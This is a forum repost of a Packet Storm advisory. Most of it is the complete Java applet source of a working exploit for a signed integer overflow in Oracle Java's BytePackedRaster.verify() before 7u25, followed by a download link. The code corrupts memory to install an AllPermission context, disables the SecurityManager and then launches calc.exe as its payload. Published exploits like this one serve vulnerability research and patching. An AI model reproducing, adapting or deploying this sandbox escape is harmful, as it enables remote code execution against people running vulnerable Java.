Nytro Posted August 20, 2013 Report Posted August 20, 2013 Packet Storm Exploit 2013-0819-1 - Oracle Java BytePackedRaster.verify() Signed Integer OverflowSite packetstormsecurity.comThe BytePackedRaster.verify() method in Oracle Java versions prior to 7u25 is vulnerable to a signed integer overflow that allows bypassing of "dataBitOffset" boundary checks. This exploit code demonstrates remote code execution by popping calc.exe. It was obtained through the Packet Storm Bug Bounty program.import java.awt.CompositeContext;import java.awt.image.*;import java.awt.color.*;import java.beans.Statement;import java.security.*;public class MyJApplet extends javax.swing.JApplet { /** * Initializes the applet myJApplet */ @Override public void init() { /* Set the Nimbus look and feel */ //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the applet */ try { java.awt.EventQueue.invokeAndWait(new Runnable() { public void run() { initComponents(); // print environment info logAdd( "JRE: " + System.getProperty("java.vendor") + " " + System.getProperty("java.version") + "\nJVM: " + System.getProperty("java.vm.vendor") + " " + System.getProperty("java.vm.version") + "\nJava Plug-in: " + System.getProperty("javaplugin.version") + "\nOS: " + System.getProperty("os.name") + " " + System.getProperty("os.arch") + " (" + System.getProperty("os.version") + ")" ); } }); } catch (Exception ex) { ex.printStackTrace(); } } public void logAdd(String str) { txtArea.setText(txtArea.getText() + str + "\n"); } public void logAdd(Object o, String... str) { logAdd((str.length > 0 ? str[0]:"") + (o == null ? "null" : o.toString())); } public String errToStr(Throwable t) { String str = "Error: " + t.toString(); StackTraceElement[] ste = t.getStackTrace(); for(int i=0; i < ste.length; i++) { str += "\n\t" + ste.toString(); } t = t.getCause(); if (t != null) str += "\nCaused by: " + errToStr(t); return str; } public void logError(Exception ex) { logAdd(errToStr(ex)); } public static String toHex(int i) { return Integer.toHexString(i); } /** * This method is called from within the init() method to initialize the * form. WARNING: Do NOT modify this code. The content of this method is * always regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents private void initComponents() { btnStart = new javax.swing.JButton(); jScrollPane2 = new javax.swing.JScrollPane(); txtArea = new javax.swing.JTextArea(); btnStart.setText("Run calculator"); btnStart.addMouseListener(new java.awt.event.MouseAdapter() { public void mousePressed(java.awt.event.MouseEvent evt) { btnStartMousePressed(evt); } }); txtArea.setEditable(false); txtArea.setColumns(20); txtArea.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N txtArea.setRows(5); txtArea.setTabSize(4); jScrollPane2.setViewportView(txtArea); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 580, Short.MAX_VALUE) .addContainerGap()) .addGroup(layout.createSequentialGroup() .addGap(242, 242, 242) .addComponent(btnStart, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() .addContainerGap() .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 344, Short.MAX_VALUE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(btnStart) .addContainerGap()) ); }// </editor-fold>//GEN-END:initComponents private boolean _isMac = System.getProperty("os.name","").contains("Mac"); private boolean _is64 = System.getProperty("os.arch","").contains("64"); private int tryExpl() { try { // alloc aux vars String name = "setSecurityManager"; Object[] o1 = new Object[1]; Object o2 = new Statement(System.class, name, o1); // make a dummy call for init // allocate byte buffer for destination Raster DataBufferByte dst = new DataBufferByte(9); // allocate the target array right after dst[] int[] a = new int[8]; // allocate an object array right after a[] Object[] oo = new Object[7]; // create Statement with the restricted AccessControlContext oo[2] = new Statement(System.class, name, o1); // create powerful AccessControlContext Permissions ps = new Permissions(); ps.add(new AllPermission()); oo[3] = new AccessControlContext( new ProtectionDomain[]{ new ProtectionDomain( new CodeSource( new java.net.URL("file:///"), new java.security.cert.Certificate[0] ), ps ) } ); // store System.class pointer in oo[] oo[4] = ((Statement)oo[2]).getTarget(); // save old a.length int oldLen = a.length; logAdd("a.length = 0x" + toHex(oldLen)); // prepare source buffer DataBufferByte src = new DataBufferByte(8); for(int i=0; i<8; i++) src.setElem(i,-1); // create normal source raster MultiPixelPackedSampleModel sm1 = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4,0); WritableRaster wr1 = Raster.createWritableRaster(sm1, src, null); // create MultiPixelPackedSampleModel with malformed "scanlineStride" and "dataBitOffset" fields MultiPixelPackedSampleModel sm2 = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,2,1, 0x3fffffdd - (_is64 ? 16:0), 288 + (_is64 ? 128:0)); // create destination BytePackedRaster basing on sm2 WritableRaster wr2 = Raster.createWritableRaster(sm2, dst, null); logAdd(wr2); // create sun.java2d.SunCompositeContext byte[] bb = new byte[] { 0, -1 }; IndexColorModel cm = new IndexColorModel(1, 2, bb, bb, bb); CompositeContext cc = java.awt.AlphaComposite.Src.createContext(cm, cm, null); logAdd(cc); // call native Java_sun_awt_image_BufImgSurfaceData_initRaster() (see ...\jdk\src\share\native\sun\awt\image\BufImgSurfaceData.c) // and native Java_sun_java2d_loops_Blit_Blit() (see ...\jdk\src\share\native\sun\java2d\loops\Blit.c) cc.compose(wr1, wr2, wr2); // check results: a.length should be overwritten by 0xF8 int len = a.length; logAdd("a.length = 0x" + toHex(len)); if (len == oldLen) { // check a[] content corruption // for RnD for(int i=0; i < len; i++) if (a != 0) logAdd("a["+i+"] = 0x" + toHex(a)); // exit logAdd("error 1"); return 1; } // ok, now we can read/write outside the real a[] storage, // lets find our Statement object and replace its private "acc" field value // search for oo[] after a[oldLen] boolean found = false; int ooLen = oo.length; for(int i=oldLen+2; i < oldLen+32; i++) if (a[i-1]==ooLen && a==0 && a[i+1]==0 // oo[0]==null && oo[1]==null && a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null && a[i+5]==0 && a[i+6]==0) // oo[5,6] == null { // read pointer from oo[4] int stmTrg = a[i+4]; // search for the Statement.target field behind oo[] for(int j=i+7; j < i+7+64; j++){ if (a[j] == stmTrg) { // overwrite default Statement.acc by oo[3] ("AllPermission") a[j-1] = a[i+3]; found = true; break; } } if (found) break; } // check results if (!found) { // print the memory dump on error // for RnD String s = "a["+oldLen+"...] = "; for(int i=oldLen; i < oldLen+32; i++) s += toHex(a) + ","; logAdd(s); } else try { // show current SecurityManager logAdd(System.getSecurityManager(), "Security Manager = "); // call System.setSecurityManager(null) ((Statement)oo[2]).execute(); // show results: SecurityManager should be null logAdd(System.getSecurityManager(), "Security Manager = "); } catch (Exception ex) { logError(ex); } logAdd(System.getSecurityManager() == null ? "Ok.":"Fail."); } catch (Exception ex) { logError(ex); } return 0; } private void btnStartMousePressed(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_btnStartMousePressed try { logAdd("===== Start ====="); // try several attempts to exploit for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){ logAdd("Attempt #" + i); tryExpl(); } // check results if (System.getSecurityManager() == null) { // execute payload Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe"); } logAdd("===== End ====="); } catch (Exception ex) { logError(ex); } }//GEN-LAST:event_btnStartMousePressed // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton btnStart; private javax.swing.JScrollPane jScrollPane2; private javax.swing.JTextArea txtArea; // End of variables declaration//GEN-END:variables}Download:http://packetstormsecurity.com/files/download/122865/PSA-2013-0819-1-exploit.tgzSursa: Packet Storm Exploit 2013-0819-1 - Oracle Java BytePackedRaster.verify() Signed Integer Overflow ? Packet Storm Quote